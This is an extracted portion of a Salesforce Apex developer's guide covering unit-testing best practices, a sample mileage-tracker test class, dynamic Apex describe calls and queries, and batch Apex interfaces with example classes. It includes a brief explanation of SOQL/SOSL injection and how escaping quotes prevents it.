This call allows you to run all tests in all classes, all tests in a specific namespace, or all tests in a subset of classes in a specific namespace, as specified in the RunTestsRequest object. It returns the following: total number of tests that ran code coverage statistics (described below) error information for each failed test

126

Testing Apex

Testing Best Practices

information for each test that succeeds time it took to run the test

For more information on runTests(), see the WSDL located at

https://your_salesforce_server/services/wsdl/apex, where your_salesforce_server is equivalent to the server on which your organization is located, such as na1.salesforce.com.

Though administrators in a Salesforce.com production organization cannot make changes to Apex scripts using the Salesforce.com user interface, it is still important to use runTests() to verify that the existing unit tests run to completion after a change is made, such as adding a unique constraint to an existing field. Salesforce.com production organizations must use the compileAndTest API call to make changes to Apex scripts. For more information, see Deploying Apex Scripts on page 360. For more information on runTests(), see Web Services API Calls and SOAP Headers for Apex on page 387.

Testing Best Practices

Good tests should do the following: Cover as many lines of code as possible. Important: You must have at least 75% of your Apex scripts covered by unit tests to deploy your scripts to production environments. In addition, all triggers should have some test coverage. Salesforce.com recommends that you have 100% of your scripts covered by unit tests, where possible. Calls to System.debug are not counted as part of Apex code coverage in unit tests.

In the case of conditional logic (including ternary operators), execute each branch of code logic. Make calls to methods using both valid and invalid inputs. Complete successfully without throwing any exceptions, unless those errors are expected and caught in a trycatch block. Always handle all exceptions that are caught, instead of merely catching the exceptions. Use System.assert methods to prove that code behaves properly. Use the runAs method to test your application in different user contexts. Use the isTest annotation. Classes defined with the isTest annotation do not count against your organization limit of 1 MB for all Apex scripts. Exercise bulk trigger functionalityuse at least 20 records in your tests. Use the ORDER BY keywords to ensure that the records are returned in the expected order. Not assume that record IDs are in sequential order. Record IDs are not created in ascending order unless you insert multiple records with the same request. For example, if you create an account A, and receive the ID 001D000000IEEmT, then create account B, the ID of account B may or may not be sequentially higher.

On the Apex test result page, there is a code coverage section. This section lists all the classes and triggers in your organization and the percentage of lines of code in each class and trigger that are covered by tests. If you click on the coverage percent number, a page displays, highlighting all the lines of code for that class or trigger that are covered by tests in blue, as well as highlighting all the lines of code that are not covered by tests in red. It also lists how many times a particular line in the class or trigger was executed by the test. Set up test data: Create the necessary data in test classes, so the tests do not have to rely on data in a particular organization

127

Testing Apex

Testing Example

Create all test data before calling the starttest method

Write comments stating not only what is supposed to be tested, but the assumptions the tester made about the data, the expected outcome, and so on. Test the classes in your application individually. Never test your entire application in a single test.

If you are running many tests, consider the following: In the Force.com IDE, you may need to increase the Read timeout value for your Apex project. See https://wiki.apexdevnet.com/index.php/Apex_Toolkit_for_Eclipse for details. In the Salesforce.com user interface, you may need to test the classes in your organization individually, instead of trying to run all of the tests at the same time using the Run All Tests button.

Testing Example
The following example includes cases for the following types of tests: Positive case with single and multiple records on page 130 Negative case with single and multiple records on page 131 Testing with other users on page 132

The test is used with a simple mileage tracking application. The existing code for the application verifies that not more than 500 miles are entered in a single day. The primary object is a custom object named Mileage__c. Here is the entire test class. The following sections step through specific portions of the code.
@isTest private class MileageTrackerTestSuite { static testMethod void runPositiveTestCases() { Double totalMiles = 0; final Double maxtotalMiles = 500; final Double singletotalMiles = 300; final Double u2Miles = 100; //Setup User User u1 = [select id from User where alias='auser']; //Run As U1 System.RunAs(u1){ List<Mileage__c> deleteMiles = new List<Mileage__c>(); //Clean up data System.debug('Setting up testing - deleting any mileage records for ' + UserInfo.getUserName() + ' from today'); deleteMiles = [SELECT miles__c from Mileage__c WHERE createdDate = TODAY and createdById = :u1.id]; if(!deleteMiles.isEmpty()) { delete deleteMiles; } System.debug('Inserting 300 miles... (single record validation)');

Mileage__c testMiles1 = new Mileage__c(Miles__c = 300, Date__c = System.today()); insert testMiles1;

128

Testing Apex

Testing Example

// validate single insert for(Mileage__c m:[SELECT miles__c FROM Mileage__c WHERE createdDate = TODAY and createdById = :u1.id and miles__c != null]) { totalMiles += m.miles__c; } System.assertEquals(singletotalMiles, totalMiles); //validate bulk totalMiles = 0; System.debug('Inserting 200 mileage records... (bulk validation)'); List<Mileage__c> testMiles2 = new List<Mileage__c>(); for(integer i=0; i<200; i++) { testMiles2.add( new Mileage__c(Miles__c = 1, Date__c = System.today()) ); } insert testMiles2; for(Mileage__c m:[SELECT miles__c FROM Mileage__c WHERE createdDate = TODAY and createdById = :u1.id and miles__c != null]) { totalMiles += m.miles__c; } System.assertEquals(maxtotalMiles, totalMiles); }//end RunAs(u1) //validate additional user: totalMiles = 0; //setup RunAs User u2 = [select id from User where alias='tuser']; System.RunAs(u2){ List<Mileage__c> deleteMiles = new List<Mileage__c>(); System.debug('Setting up testing - deleting any mileage records for ' + UserInfo.getUserName() + ' from today'); deleteMiles = [SELECT miles__c from Mileage__c WHERE createdDate = TODAY and createdById = :u2.id]; if(!deleteMiles.isEmpty()) { delete deleteMiles; } Mileage__c testMiles3 = new Mileage__c(Miles__c = 100, Date__c = System.today()); insert testMiles3; for(Mileage__c m:[SELECT miles__c FROM Mileage__c WHERE createdDate = TODAY and createdById = :u2.id and miles__c != null]) { totalMiles += m.miles__c; } //validate System.assertEquals(u2Miles, totalMiles);

129

Testing Apex

Testing Example

} //System.RunAs(u2) } // runPositiveTestCases() static testMethod void runNegativeTestCases() { List<Mileage__c> deleteMiles = new List<Mileage__c>(); User u3 = [select id from User where alias='tuser']; System.RunAs(u3){ deleteMiles = [SELECT miles__c from Mileage__c WHERE createdDate = TODAY and createdById = :u3.id]; if(!deleteMiles.isEmpty()) { delete deleteMiles; } System.debug('Inserting a record with 501 miles... (negative test case)'); Mileage__c testMiles3 = new Mileage__c( Miles__c = 501, Date__c = System.today() ); try { insert testMiles3; } catch (DmlException e) { //Assert Error Message System.assert( e.getMessage().contains('Insert failed. First exception on ' + 'row 0; first error: FIELD_CUSTOM_VALIDATION_EXCEPTION, ' + 'Mileage request exceeds daily limit(500): [Miles__c]'), e.getMessage() ); //Assert field System.assertEquals(Mileage__c.Miles__c, e.getDmlFields(0)[0]); //Assert Status Code System.assertEquals('FIELD_CUSTOM_VALIDATION_EXCEPTION' , e.getDmlStatusCode(0) ); } //catch } //RunAs(u3) } // runNegativeTestCases() } // class MileageTrackerTestSuite

Positive Test Case The following steps through the above code, in particular, the positive test case for single and multiple records. 1. Add text to the debug log, indicating the next step of the script:
System.debug('Inserting 300 more miles...single record validation');

2. Create a Mileage__c object and insert it into the database.

Mileage__c testMiles1 = new Mileage__c(Miles__c = 300, Date__c = System.today() ); insert testMiles1;

3. Validate the code by returning the inserted records:

for(Mileage__c m:[SELECT miles__c FROM Mileage__c WHERE createdDate = TODAY and createdById = :createdbyId and miles__c != null]) { totalMiles += m.miles__c; }

130

Testing Apex

Testing Example

4. Use the system.assertEquals method to verify that the expected result is returned:
System.assertEquals(singletotalMiles, totalMiles);

5. Before moving to the next test, set the number of total miles back to 0:
totalMiles = 0;

6. Validate the code by creating a bulk insert of 200 records. First, add text to the debug log, indicating the next step of the script:
System.debug('Inserting 200 Mileage records...bulk validation');

7. Then insert 200 Mileage__c records:

List<Mileage__c> testMiles2 = new List<Mileage__c>(); for(integer i=0; i<200; i++){ testMiles2.add( new Mileage__c(Miles__c = 1, Date__c = System.today()) ); } insert testMiles2;

8. Use System.assertEquals to verify that the expected result is returned:

for(Mileage__c m:[SELECT miles__c FROM Mileage__c WHERE createdDate = TODAY and createdById = :createdbyId and miles__c != null]) { totalMiles += m.miles__c; } System.assertEquals(maxtotalMiles, totalMiles);

Negative Test Case The following steps through the above code, in particular, the negative test case. 1. Create a static test method called runNegativeTestCases:
static testMethod void runNegativeTestCases(){

2. Add text to the debug log, indicating the next step of the script:
System.debug('Inserting 501 miles... negative test case');

3. Create a Mileage__c record with 501 miles.

Mileage__c testMiles3 = new Mileage__c(Miles__c = 501, Date__c = System.today());

4. Place the insert statement within a try/catch block. This allows you to catch the validation exception and assert the generated error message.
try { insert testMiles3; } catch (DmlException e) {

131

Testing Apex

Testing Example

5. Now use the System.assert and System.assertEquals to do the testing. Add the following code to the catch block you previously created:
//Assert Error Message System.assert(e.getMessage().contains('Insert failed. First exception '+ 'on row 0; first error: FIELD_CUSTOM_VALIDATION_EXCEPTION, '+ 'Mileage request exceeds daily limit(500): [Miles__c]'), e.getMessage()); //Assert Field System.assertEquals(Mileage__c.Miles__c, e.getDmlFields(0)[0]); //Assert Status Code System.assertEquals('FIELD_CUSTOM_VALIDATION_EXCEPTION' e.getDmlStatusCode(0)); } } } ,

Testing as a Second User The following steps through the above code, in particular, running as a second user. 1. Before moving to the next test, set the number of total miles back to 0:
totalMiles = 0;

2. Set up the next user.

User u2 = [select id from User where alias='tuser']; System.RunAs(u2){

3. Delete any existing data:

List<Mileage__c> deleteMiles = new List<Mileage__c>(); deleteMiles = [SELECT miles__c from Mileage__c WHERE createdDate = TODAY and createdById = :u2.id]; if(!deleteMiles.isEmpty()) { delete deleteMiles; }

4. Add text to the debug log, indicating the next step of the script:
System.debug('Setting up testing - deleting any mileage records for ' + UserInfo.getUserName() + ' from today');

5. Then insert one Mileage__c record:

Mileage__c testMiles3 = new Mileage__c(Miles__c = 100, Date__c = System.today()); insert testMiles3;

6. Validate the code by returning the inserted records:

for(Mileage__c m:[SELECT miles__c FROM Mileage__c WHERE createdDate = TODAY and createdById = :u2.Id and miles__c != null]) {

132

Testing Apex

Testing Example

totalMiles += m.miles__c; }

7. Use the system.assertEquals method to verify that the expected result is returned:
System.assertEquals(u2Miles, totalMiles);

133

Chapter 7
Dynamic Apex
In this chapter ... Understanding Apex Describe Information Dynamic SOQL Dynamic SOSL Dynamic DML
Dynamic Apex enables developers to create more flexible applications by providing them with the ability to: Access sObject and field describe information Describe information provides information about sObject and field properties. For example, the describe information for an sObject includes whether that type of sObject supports operations like create or undelete, the sObject's name and label, the sObject's fields and child objects, and so on. The describe information for a field includes whether the field has a default value, whether it is a calculated field, the type of the field, and so on. Note that describe information provides information about objects in an organization, not individual records. Write dynamic SOQL queries, dynamic SOSL queries and dynamic DML Dynamic SOQL and SOSL queries provide the ability to execute SOQL or SOSL as a string at runtime, while dynamic DML provides the ability to create a record dynamically and then insert it into the database using DML. Using dynamic SOQL, SOSL, and DML, an application can be tailored precisely to the organization as well as the user's permissions. This can be useful for applications that are installed from Force.com AppExchange.

134

Dynamic Apex

Understanding Apex Describe Information

Understanding Apex Describe Information

Apex provides two data structures for sObject and field describe information: Tokena lightweight, serializable reference to an sObject or a field that is validated at compile time. Describe resultan object that contains all the describe properties for the sObject or field. Describe result objects are not serializable, and are validated at runtime.

It is easy to move from a token to its describe result, and vice versa. Both sObject and field tokens have the method getDescribe which returns the describe result for that token. On the describe result, the getSObjectType and getSObjectField methods return the tokens for sObject and field, respectively. Because tokens are lightweight, using them can make your code faster and more efficient. For example, use the token version of an sObject or field when you are determining the type of an sObject or field that your script needs to use. The token can be compared using the equality operator (==) to determine whether an sObject is the Contact object, for example, or whether a field is the Name field or a custom calculated field. The following code provides a general example of how to use tokens and describe results to access information about sObject and field properties:
// Create a new account as the generic type sObject sObject s = new Account(); // Verify that the generic sObject is an Account sObject System.assert(s.getsObjectType() == Account.sObjectType); // Get the sObject describe result for the Account object Schema.DescribeSObjectResult r = Account.sObjectType.getDescribe(); // Get the field describe result for the Name field on the Account object Schema.DescribeFieldResult f = Schema.sObjectType.Account.fields.Name; // Verify that the field token is the token for the Name field on an Account object System.assert(f.getSObjectField() == Account.Name); // Get the field describe result from the token f = f.getSObjectField().getDescribe();

The following algorithm shows how you can work with describe information in an Apex script: 1. 2. 3. 4. Generate a list or map of tokens for the sObjects in your organization (see Accessing All sObjects on page 138) Determine the sObject you need to access Generate the describe result for the sObject If necessary, generate a map of field tokens for the sObject (see Accessing All Field Describe Results for an sObject on page 138) 5. Generate the describe result for the field the script needs to access Understanding Describe Information Permissions Apex generally runs in system mode. All classes and triggers that are not included in a package, that is, are native to your organization, have no restrictions on the sObjects that they can look up dynamically. This means that with a native script, you can generate a map of all the sObjects for your organization, regardless of the current user's permission. Dynamic Apex scripts, contained in managed packages created by certified Apex partners, that are installed from Force.com AppExchange, have restricted access to any sObject outside the managed package. Partners can set the API Access value within the package to grant access to standard sObjects not included as part of the managed package. While Partners can

135

Dynamic Apex

Understanding Apex Describe Information

request access to standard objects, custom objects not included as part of the managed package and can never be referenced or accessed by dynamic Apex scripts that are packaged. For more information, see About API and Dynamic Apex Access in Packages in the Salesforce.com online help. Using sObject Tokens SObjects, such as Account and MyCustomObject__c, act as static classes with special static methods and member variables for accessing token and describe result information. You must explicitly reference an sObject and field name at compile time to gain access to the describe result. To access the token for an sObject, use one of the following methods: Access the sObjectType member variable on an sObject type, such as Account Call the getSObjectType method on an sObject describe result, an sObject variable, a list, or a map

Schema.SObjectType is the data type for an sObject token.

In the following example, the token for the Account sObject is returned:
Schema.sObjectType t = Account.sObjectType;

The following also returns a token for the Account sObject:

Account A = new Account(); Schema.sObjectType T = A.getSObjectType();

This example can be used to determine whether an sObject or a list of sObjects is of a particular type:
public class sObjectTest { { // Create a generic sObject variable s SObject s = Database.query('select id from account limit 1'); // Verify if that sObject variable is an Account token System.assertEquals(s.getSObjectType(), Account.sObjectType); // Create a list of generic sObjects List<sObject> l = new Account[]{}; // Verify if the list of sObjects contains Account tokens System.assertEquals(l.getSObjectType(), Account.sObjectType); } }

Some standard sObjects have a field called sObjectType, for example, AssignmentRule, QueueSObject, and RecordType. For these types of sObjects, always use the getSObjectType method for retrieving the token. If you use the property, for example, RecordType.sObjectType, the field is returned. Using sObject Describe Results To access the describe result for an sObject, use one of the following methods: Call the getDescribe method on an sObject token Use the Schema sObjectType static variable with the name of the sObject. For example, Schema.sObjectType.Lead.

Schema.DescribeSObjectResult is the data type for an sObject describe result.

136

Dynamic Apex

Understanding Apex Describe Information

The following example uses the getDescribe method on an sObject token:

Schema.DescribeSObjectResult D = Account.sObjectType.getDescribe();

The following example uses the Schema sObjectType static member variable:
Schema.DescribeSObjectResult D = Schema.SObjectType.Account;

For more information about the methods available with the sObject describe result, see sObject Describe Result Methods on page 242. Using Field Tokens To access the token for a field, use one of the following methods: Access the static member variable name of an sObject static type, for example, Account.Name Call the getSObjectField method on a field describe result

The field token uses the data type Schema.SObjectField. In the following example, the field token is returned for the Account object's AccountNumber field:
Schema.SObjectField F = Account.AccountNumber;

In the following example, the field token is returned from the field describe result:
// Get the describe result for the Name field on the Account object Schema.DescribeFieldResult f = Schema.sObjectType.Account.fields.Name; // Verify that the field token is the token for the Name field on an Account object System.assert(f.getSObjectField() == Account.Name); // Get the describe result from the token f = f.getSObjectField().getDescribe();

Using Field Describe Results To access the describe result for a field, use one of the following methods: Call the getDescribe method on a field token Access the fields member variable of an sObject token with a field member variable (such as Name, BillingCity, and so on)

The field describe result uses the data type Schema.DescribeFieldResult. The following example uses the getDescribe method:
Schema.DescribeFieldResult F = Account.AccountNumber.getDescribe();

This example uses the fields member variable method:

Schema.DescribeFieldResult F = Schema.SObjectType.Account.fields.Name;

In the example above, the system uses special parsing to validate that the final member variable (Name) is valid for the specified sObject at compile time. When the parser finds the fields member variable, it looks backwards to find the name of the sObject (Account) and validates that the field name following the fields member variable is legitimate. The fields member variable only works when used in this manner.

137

Dynamic Apex

Understanding Apex Describe Information

You can only have 10 fields member variable statements in an Apex script. Note: You should not use the fields member variable without also using either a field member variable name or the getMap method. For more information on getMap, see Accessing All Field Describe Results for an sObject on page 138. For more information about the methods available with a field describe result, see Describe Field Result Methods on page 246. Accessing All sObjects Use the Schema getGlobalDescribe method to return a map that represents the relationship between all sObject names (keys) to sObject tokens (values). For example:
Map<String, Schema.SObjectType> gd = Schema.getGlobalDescribe();

The map has the following characteristics: It is dynamic, that is, it is generated at runtime on the sObjects currently available for the organization, based on permissions The sObject names are case insensitive The keys use namespaces as required The keys reflect whether the sObject is a custom object

For example, if the code block that generates the map is in namespace N1, and an sObject is also in N1, the key in the map is represented as MyObject__c. However, if the code block is in namespace N1, and the sObject is in namespace N2, the key is N2__MyObject__c. In addition, standard sObjects have no namespace prefix. Accessing All Field Describe Results for an sObject Use the field describe result's getMap method to return a map that represents the relationship between all the field names (keys) and the field tokens (values) for an sObject. The following example generates a map that can be used to access a field by name:
Map<String, Schema.SObjectField> M = Schema.SObjectType.Account.fields.getMap();

Note: The value type of this map is not a field describe result. Using the describe results would take too many system resources. Instead, it is a map of tokens that you can use to find the appropriate field. After you determine the field, generate the describe result for it. The map has the following characteristics: It is dynamic, that is, it is generated at runtime on the fields for that sObject All field names are case insensitive The keys use namespaces as required The keys reflect whether the field is a custom object

For example, if the code block that generates the map is in namespace N1, and a field is also in N1, the key in the map is represented as MyField__c. However, if the code block is in namespace N1, and the field is in namespace N2, the key is N2__MyField__c. In addition, standard fields have no namespace prefix.

138

Dynamic Apex

Dynamic SOQL

Dynamic SOQL
Dynamic SOQL refers to the creation of a SOQL string at runtime with an Apex script. Dynamic SOQL enables you to create more flexible applications. For example, you can create a search based on input from an end user, or update records with varying field names. To create a dynamic SOQL query at runtime, use the database query method, in one of the following ways: Return a single sObject when the query returns a single record:
sObject S = Database.query(string_limit_1);

Return a list of sObjects when the query returns more than a single record:
List<sObject> L = Database.query(string);

The database query method can be used wherever an inline SOQL query can be used, such as in regular assignment statements and for loops. The results are processed in much the same way as static SOQL queries are processed. Dynamic SOQL results can be specified as concrete sObjects, such as Account or MyCustomObject__c, or as the generic sObject data type. At runtime, the system validates that the type of the query matches the declared type of the variable. If the query does not return the correct sObject type, a runtime error is thrown. This means you do not need to cast from a generic sObject to a concrete sObject. Dynamic SOQL queries have the same governor limits as static queries. For more information on governor limits, see Understanding Execution Governors and Limits on page 166. For a full description of SOQL query syntax, see www.salesforce.com/us/developer/docs/api/index_CSH.htm#sforce_api_calls_soql.htm in the Force.com Web Services API Developer's Guide. SOQL Injection SOQL injection is a technique by which a user causes your application to execute database methods you did not intend by passing SOQL statements into your script. This can occur in an Apex script whenever your application relies on end user input to construct a dynamic SOQL statement and you do not handle the input properly. To prevent SOQL injection, use the escapeSingleQuotes method. This method adds the escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead of database commands.

Dynamic SOSL
Dynamic SOSL refers to the creation of a SOSL string at runtime with an Apex script. Dynamic SOSL enables you to create more flexible applications. For example, you can create a search based on input from an end user, or update records with varying field names. To create a dynamic SOSL query at runtime, use the search query method. For example:
List<List <sObject>> myQuery = search.query(SOSL_search_string);

139

Dynamic Apex

Dynamic DML

The following example exercises a simple SOSL query string.

String searchquery='FIND\'Edge*\'IN ALL FIELDS RETURNING Account(id,name),Contact, Lead'; List<List<SObject>>searchList=search.query(searchquery);

Dynamic SOSL statements evaluate to a list of lists of sObjects, where each list contains the search results for a particular sObject type. The result lists are always returned in the same order as they were specified in the dynamic SOSL query. From the example above, the results from Account are first, then Contact, then Lead. The search query method can be used wherever an inline SOSL query can be used, such as in regular assignment statements and for loops. The results are processed in much the same way as static SOSL queries are processed. SOSL queries are only supported in Apex classes and anonymous blocks. You cannot use a SOSL query in a trigger. Dynamic SOSL queries have the same governor limits as static queries. For more information on governor limits, see Understanding Execution Governors and Limits on page 166. For a full description of SOSL query syntax, see www.salesforce.com/us/developer/docs/api/index_CSH.htm#sforce_api_calls_sosl.htm in the Force.com Web Services API Guide. SOSL Injection SOSL injection is a technique by which a user causes your application to execute database methods you did not intend by passing SOSL statements into your script. This can occur in an Apex script whenever your application relies on end user input to construct a dynamic SOSL statement and you do not handle the input properly. To prevent SOSL injection, use the escapeSingleQuotes method. This method adds the escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead of database commands.

Dynamic DML
In addition to querying describe information and building SOQL queries at runtime, you can also create sObjects dynamically, and insert them into the database using DML. To create a new sObject of a given type, use the newSObject method on an sObject token. Note that the token must be cast into a concrete sObject type (such as Account). For example:
// Get a new account Account A = new Account(); // Get the token for the account Schema.sObjectType tokenA = A.getSObjectType(); // The following produces an error because the token is a generic sObject, not an Account // Account B = tokenA.newSObject(); // The following works because the token is cast back into an Account Account B = (Account)tokenA.newSObject();

Though the sObject token tokenA is a token of Account, it is considered an sObject because it is accessed separately. It must be cast back into the concrete sObject type Account to use the newSObject method. For more information on casting, see Classes and Casting on page 109. You can also specify an ID with newSObject. For example:
SObject s = Database.query('Select Id from account limit 1')[0].getSObjectType(). newSObject([select id from account limit 1][0].id);

140

Dynamic Apex

Dynamic DML

Setting and Retrieving Field Values Use the get and put methods on an object to set or retrieve values for fields using either the API name of the field expressed as a String, or the field's token. In the following example, the API name of the field AccountNumber is used:
SObject s = [select accountNumber from account limit 1]; Object o = s.get('AccountNumber'); s.put('AccountNumber', 'abc');

The following example uses the AccountNumber field's token instead:

Schema.DescribeFieldResult f = Schema.sObjectType.Account.fields.AccountNumber; Sobject s = Database.query('select AccountNumber from Account limit 1'); s.put(f.getsObjectField(), '12345');

The Object scalar data type can be used as a generic data type to set or retrieve field values on an sObject. This is equivalent to the anyType field type. Note that the Object data type is different from the sObject data type, which can be used as a generic type for any sObject. Note: Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.

Setting and Retrieving Foreign Keys Apex supports populating foreign keys by name (or external ID) in the same way as the API. To set or retrieve the scalar ID value of a foreign key, use the get or put methods. To set or retrieve the record associated with a foreign key, use the getSObject and putSObject methods. Note that these methods must be used with the sObject data type, not Object. For example:
SObject c = Database.query('SELECT id, FirstName, AccountId, Account.Name FROM Contact LIMIT 1'); SObject a = c.getSObject('Account');

There is no need to specify the external ID for a parent sObject value while working with child sObjects. If you provide an ID in the parent sObject, it is ignored by the DML operation. Apex assumes the foreign key is populated through a relationship SOQL query, which always returns a parent object with a populated ID. If you have an ID, use it with the child object. For example, suppose that custom object C1 has a foreign key c2__c that links to a child custom object C2. You want to create a C1 object and have it associated with a C2 record named 'xxx' (assigned to the value c2__r). You do not need the ID of the 'xxx' record, as it is populated through the relationship of parent to child. For example:
insert new C1__c(name = 'x', c2__r = new C2(name = 'xxx'));

If you had assigned a value to the ID for c2__r, it would be ignored. If you do have the ID, assign it to the object (c2__c), not the record.

141

Chapter 8
Batch Apex
In this chapter ... Using Batch Apex Understanding Apex Managed Sharing
A developer can now employ batch Apex to build complex, long-running processes on the Force.com platform. For example, a developer could build an archiving solution that runs on a nightly basis, looking for records past a certain date and adding them to an archive. Or a developer could build a data cleansing operation that goes through all Accounts and Opportunities on a nightly basis and reassigns them if necessary, based on custom criteria. Batch Apex is exposed as an interface that must be implemented by the developer. Batch jobs can be programmatically invoked at runtime using Apex. You can only have five queued or active batch jobs at one time. You can evaluate your current count by viewing the Scheduled Jobs page in Salesforce.com or programmatically using the Force.com Web services API to query the AsyncapexJob object. Caution: Use extreme care if you are planning to invoke a batch job from a trigger. You must be able to guarantee that the trigger will not add more batch jobs than the five that are allowed. In particular, consider API bulk updates, import wizards, mass record changes through the user interface, and all cases where more than one record can be updated at a time. Batch jobs can also be programmatically scheduled to run at specific times using the Apex scheduler, or scheduled using the Schedule Apex page in the Salesforce.com user interface. Note: The Apex scheduler is currently available through a limited release program. Contact salesforce.com to verify if your organization can participate in the limited release program. For more information on the Schedule Apex page, see Scheduling Apex in the Salesforce.com online help. The batch Apex interface is also used for Apex managed sharing recalculations. For more information on batch jobs, continue to Using Batch Apex on page 143. For more information on Apex managed sharing, see Understanding Apex Managed Sharing on page 150.

142

Batch Apex

Using Batch Apex

Using Batch Apex

To use batch Apex, you must write an Apex class that implements the Salesforce.com-provided interface Database.Batchable, and then invoke the class programmatically. To monitor or stop the execution of the batch Apex job, click Setup Monitoring Apex Jobs. For more information, see Apex Job Queue in the Salesforce.com online help. Implementing the Database.Batchable Interface The Database.Batchable interface contains three methods that must be implemented:
start method
global (Database.QueryLocator | Iterable<sObject>) start(Database.BatchableContext bc) {}

The start method is called at the beginning of a batch Apex job. Use the start method to collect the records or objects to be passed to the interface method execute. This method returns either a Database.QueryLocator object or an iterable that contains the records or objects being passed into the job. Use the Database.QueryLocator object when you are using a simple query (SELECT) to generate the scope of objects used in the batch job. If you use a QueryLocator object, the governor limit for the total number of records retrieved by SOQL queries is bypassed. For example, a batch Apex job for the Account object can return a QueryLocator for all account records (up to 50 million records) in an organization. Another example is a sharing recalculation for the Contact object that returns a QueryLocator for all contact records in an organization. Use the iterable when you need to create a complex scope for the batch job. You can also use the iterable to create your own custom process for iterating through the list. Important: If you use an iterable, the governor limit for the total number of records retrieved by SOQL queries is still enforced.
execute method:
global void execute(Database.BatchableContext BC, list<P>){}

The execute method is called for each batch of records passed to the method. Use this method to do all required processing for each chunk of data. This method takes the following: A reference to the Database.BatchableContext object. A list of sObjects, such as List<sObject>, or a list of parameterized types. If you are using a Database.QueryLocator, the returned list should be used.

finish method
global void finish(Database.BatchableContext BC){}

The finish method is called after all batches are processed. Use this method to send confirmation emails or execute post-processing operations.

143

Batch Apex

Using Batch Apex

Each execution of a batch Apex job is considered a discrete transaction. For example, a batch Apex job that contains 1,000 records and is executed without the optional scope parameter from Database.executeBatch is considered five transactions of 200 records each. The Apex governor limits are reset for each transaction. If the first transaction succeeds but the second fails, the database updates made in the first transaction are not rolled back. Using Database.BatchableContext All of the methods in the Database.Batchable interface require a reference to a Database.BatchableContext object. Use this object to track the progress of the batch job. The following is the instance method with the Database.BatchableContext object: Name
getJobId

Arguments

Returns ID

Description Returns the ID of the AsyncApexJob object associated with this batch job as a string. Use this method to track the progress of records in the batch job.

The following example uses the Database.BatchableContext to query the AsyncApexJob associated with the batch job.
global void finish(Database.BatchableContext BC){ // Get the ID of the AsyncApexJob representing this batch job // from Database.BatchableContext. // Query the AsyncApexJob object to retrieve the current job's information. AsyncApexJob a = [Select Id, Status, NumberOfErrors, JobItemsProcessed, TotalJobItems, CreatedBy.Email from AsyncApexJob where Id = :BC.getJobId()]; // Send an email to the Apex job's submitter notifying of job completion. Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage(); String[] toAddresses = new String[] {a.CreatedBy.Email}; mail.setToAddresses(toAddresses); mail.setSubject('Apex Sharing Recalculation ' + a.Status); mail.setPlainTextBody ('The batch Apex job processed ' + a.TotalJobItems + ' batches with '+ a.NumberOfErrors + ' failures.'); Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail }); }

Using Database.QueryLocator to Define Scope The start method can return either a Database.QueryLocator object that contains the records to be used in the batch job or an iterable. The following example uses a Database.QueryLocator:
global class SearchAndReplace implements Database.Batchable<sObject>{ global global global global final final final final String String String String Query; Entity; Field; Value;

global SearchAndReplace(String q, String e, String f, String v){ Query=q; Entity=e; Field=f;Value=v; } global Database.QueryLocator start(Database.BatchableContext BC){ return Database.getQueryLocator(query); }

144

Batch Apex

Using Batch Apex

global void execute(Database.BatchableContext BC, List<sObject> scope){ for(sobject s : scope){ s.put(Field,Value); } update scope; } global void finish(Database.BatchableContext BC){ } }

Using an Iterable in Batch Apex to Define Scope The start method can return either a Database.QueryLocator object that contains the records to be used in the batch job, or an iterable. Use an iterable to step through the returned items more easily.
global class batchClass implements Database.batchable{ global Iterable start(Database.BatchableContext info){ return new CustomAccountIterable(); } global void execute(Database.BatchableContext info, List scope){ List accsToUpdate = new List(); for(Account a : scope){ a.name = 'true'; a.numberOfEmployees = 70; accsToUpdate.add(a); } update accsToUpdate; } global void finish(Database.BatchableContext info){ } }

Using the Database.executeBatch Method You can use the Database.executeBatch method to programmatically begin a batch job. Important: When you call Database.executeBatch, Salesforce.com only adds the process to the queue at the scheduled time. Actual execution may be delayed based on service availability. The Database.executeBatch method takes two parameters: The class that implements Database.Batchable. The number of records to be passed as a single chunk to the execute method. This value must be greater than 0 and less than 200. Use this when you have many operations for each record being passed in and are running into governor limits. By limiting the number of records, you are thereby limiting the operations per transaction.

The Database.executeBatch method returns the Id of the AsyncApexJob object, which can then be used to track the progress of the job. For example:
ID batchprocessid = Database.executeBatch(reassign); AsyncApexJob aaj = [SELECT Id, Status, JobItemsProcessed, TotalJobItems, NumberOfErrors FROM AsyncApexJob WHERE ID =: batchprocessid ];

For more information about the AsyncApexJob object, see AsyncApexJob in the Force.com Web Services API Developer's Guide.

145

Batch Apex

Using Batch Apex

Batch Apex Examples The following example uses a Database.QueryLocator:

global class UpdateAccountFields implements Database.Batchable<sObject>{ global final String Query; global final String Entity; global final String Field; global final String Value; global UpdateAccountFields(String q, String e, String f, String v){ Query=q; Entity=e; Field=f;Value=v; } global Database.QueryLocator start(Database.BatchableContext BC){ return Database.getQueryLocator(query); } global void execute(Database.BatchableContext BC, List<sObject> scope){ for(Sobject s : scope){s.put(Field,Value); } update scope; } global void finish(Database.BatchableContext BC){ } }

The following code can be used to call the above class:

id batchinstanceid = database.executeBatch(new UpdateAccountFields(q,e,f,v), 5);

The following class uses batch Apex to reassign all accounts owned by a specific user to a different user.
global class OwnerReassignment implements Database.Batchable<sObject>{ String query; String email; Id toUserId; Id fromUserId; global database.querylocator start(Database.BatchableContext BC){ return Database.getQueryLocator(query);} global void execute(Database.BatchableContext BC, List<sObject> scope){ List accns = new List(); for(sObject s : scope){Account a = (Account)s; if(a.Ownerid==fromUserId){ a.Ownerid=toUserId; accns.add(a); } } update accns; } global void finish(Database.BatchableContext BC){ Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage(); mail.setToAddresses(new String[] {email}); mail.setReplyTo('[email protected]'); mail.setSenderDisplayName('Batch Processing'); mail.setSubject('Batch Process Completed');

146

Batch Apex

Using Batch Apex

mail.setPlainTextBody('Batch Process has completed'); Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail }); } }

Use the following to execute the OwnerReassignment class in the previous example:
OwnerReassignment reassign = new OwnerReassignment(); reassign.query='SELECT Id, Name, Ownerid FROM Account WHERE ownerid=\'' + u.id + '\''; reassign.email='[email protected]'; reassign.fromUserId = u; reassign.toUserId = u2; ID batchprocessid = Database.executeBatch(reassign);

